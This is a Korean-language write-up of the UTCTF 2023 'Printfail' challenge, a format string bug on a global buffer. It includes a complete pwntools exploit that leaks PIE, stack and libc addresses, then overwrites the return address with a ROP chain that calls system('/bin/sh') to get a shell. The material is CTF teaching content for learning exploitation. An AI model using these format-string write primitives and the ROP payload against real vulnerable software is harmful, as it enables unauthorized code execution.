Post

[UTCTF 2023] Printfail write-up

[0x00] 요약


BSS 입력 버퍼를 대상으로 FSB가 발생할 때, stack-to-stack pointer를 활용하여 익스플로잇하는 문제

[0x01] 접근 방법


buf

512바이트 전역 배열 buf가 존재합니다.

run_round

그리고, main 함수에서 위와 같은 함수를 실행해주는데, 단순하게 Format String Bug가 전역 변수를 대상으로 발생하는 상황입니다.

본래 로직대로라면, 1자리 이상의 값을 입력할 경우, a1의 값이 0으로 덮어써지게 되고 이 함수는 한 번의 실행밖에 못 하는 것이 정상입니다. 이 상황을 해결하려면 어떻게 해야 할까요?

[0x02] 분석


본래 로직대로라면, 1자리 이상의 값을 입력할 경우, run_round 함수의 첫 번째 인자인 a1의 값이 0으로 덮어써지게 되고 이 함수는 한 번의 실행밖에 못 하는 것이 정상입니다.

그러나, run_round 함수의 인자로 a1의 주소가 들어있다는 점을 이용한다면, 해당 주소에 값을 덮어쓸 수 있고 이로 인해 반복적인 FSB 실행이 가능하게 됩니다.

printf

위는 printf 함수가 호출되기 직전의 스택 상황을 살펴본 것입니다. 7번째 인자 부분에 a1 포인터 변수가 위치한 것을 확인할 수 있습니다.

이제 이 값을 반복적으로 덮어줌(%7$n)으로써, FSB를 여러 번 호출하고 익스플로잇에 성공해봅시다. (이때, 입력이 수행되는 buf가 BSS 영역에 위치하고 있음에 주의합니다.)

이를 해결할 수 있는 방법으로는 스택에서 스택을 가리키고 있는 값을 이용하였습니다.

stack

위는 run_round + 132 부분으로, printf 함수를 호출하기 직전의 스택 상황입니다. 이때, 15번째 인자의 값이 스택(빨간색 네모)을 가리키고 있고, 그 주소(주황색 네모) 또한 스택을 가리키고 있습니다. 이를 이용하면, 15번째 인자를 2바이트(%15$hn)만큼 원하는 스택 주소로 덮어쓰고, 43번째 인자에서 원하는 값을 작성할 수 있고, 이로 인해 스택에 원하는 값을 작성할 수 있게 됩니다.

[0x03] 익스플로잇


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

def overwrite_2(addr, val):
    payload = f'%{addr % 0x10000}c%15$hn%7$n'.encode()
    p.sendlineafter(b'\n', payload)
    p.recvuntil(b"I'll give you another chance.\n")

    if val == 0:
        payload = f'%43$hn%c%7$n'.encode()
    else:
        payload = f'%{val}c%43$hn%7$n'.encode()
    p.sendlineafter(b'\n', payload)
    p.recvuntil(b"I'll give you another chance.\n")

def overwrite_4(addr, val):
    overwrite_2(addr, val & 0xFFFF)
    overwrite_2(addr + 2, val >> 16)

def overwrite_8(addr, val):
    overwrite_4(addr, val & 0xFFFFFFFF)
    overwrite_4(addr + 4, val >> 32)

context.terminal = ["tmux", "splitw", "-h"]
p = process('./pwn_printfail', aslr=1)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so', False)

payload = b'%6$p:%7$p:%7$n'
p.sendlineafter(b"\n", payload)

PIE_base = int(p.recvuntil(b":", drop=True), 16) - 0x1120
Stack = int(p.recvuntil(b":", drop=True), 16) - 0x24
RET = Stack + 0x38

log.success(f"PIE base : {hex(PIE_base)}")
log.success(f"main RET : {hex(RET)}")

overwrite_8(RET, PIE_base + 0x3FA0)
payload = b'%13$s:%7$n'
p.sendlineafter(b"\n", payload)
p.recvuntil(b"I'll give you another chance.\n")
libc.address = u64(p.recv(6) + b'\x00\x00') - libc.symbols['puts']
log.success(f"libc base : {hex(libc.address)}")

pop_rdi = PIE_base + 0x1373
pop_r14_r15 = PIE_base + 0x1370
binsh = list(libc.search(b"/bin/sh"))[0]

log.info(f"pop_rdi : {hex(pop_rdi)}")
log.info(f"binsh : {hex(binsh)}")
log.info(f"system : {hex(libc.symbols['system'])}")
overwrite_8(RET, pop_r14_r15)
overwrite_8(RET + 0x18, pop_rdi)
overwrite_8(RET + 0x20, binsh)
overwrite_8(RET + 0x28, libc.symbols['system'])
p.sendlineafter(b"chance.\n", b'1')

p.interactive()

처음에는 rtld_global로 libc leak을 수행했는데, 원격 환경에서는 익스플로잇이 안 되길래 puts GOT를 출력하여 libc leak을 다시 수행하였습니다. 그리고, 스택의 RET 부분에 ROP 페이로드를 작성하여 익스플로잇을 수행하였습니다.

flag

utflag{one_printf_to_rule_them_all}

[0x04] 참고 자료


  • 출제자 write-up: https://github.com/utisss/UTCTF-23/tree/main/puffer/pwn-printfail
    • 풀이는 저와 똑같습니다. 다만 ROP 클래스를 활용해서 익스플로잇을 쉽게 짜는 건 부럽긴 하네요. 참고해야겠습니다.
  • MIsutgaRU님 write-up: https://mi-sutga-ru.tistory.com/23
    • _dl_fini 함수 내부 루틴을 활용한 익스플로잇입니다.
    • _dl_fini->add_r14_gadget->main->one_gadget 순서로 호출하여, 쉘을 따낸 방식인데, 본래 _fini_array를 가리키고 있던 값을 buf로 옮긴 것도 중요하지만, add_r14_gadget을 활용하여 연속적으로 원하는 가젯을 호출하였다는 것이 더 중요합니다. 나중에 다른 문제를 풀 때도 참고할 수 있을만한 방법으로 보입니다.
This post is licensed under CC BY 4.0 by the author.